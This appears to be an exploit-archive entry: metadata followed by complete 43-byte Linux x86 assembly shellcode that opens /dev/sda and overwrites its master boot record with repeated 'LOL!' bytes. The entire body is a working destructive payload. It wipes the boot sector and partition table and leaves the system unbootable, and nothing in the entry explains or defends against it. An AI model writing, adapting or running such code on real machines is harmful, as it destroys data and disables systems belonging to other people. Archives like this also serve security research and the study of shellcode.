Linux/x86 - Overwrite MBR On /dev/sda With _LOL!' Shellcode (43 bytes)
Author: root@thegibson
type:
platform: linux_x86
port: 43.0
date_added: 2010-01-14
date_updated: 2018-01-09
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url:
; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes
; root@thegibson
; 2010-01-15
section .text
global _start
_start:
; open("/dev/sda", O_WRONLY);
mov al, 5
xor ecx, ecx
push ecx
push dword 0x6164732f
push dword 0x7665642f
mov ebx, esp
inc ecx
int 0x80
; write(fd, "LOL!"x128, 512);
mov ebx, eax
mov al, 4
cdq
push edx
mov cl, 128
fill:
push dword 0x214c4f4c
loop fill
mov ecx, esp
inc edx
shl edx, 9
int 0x80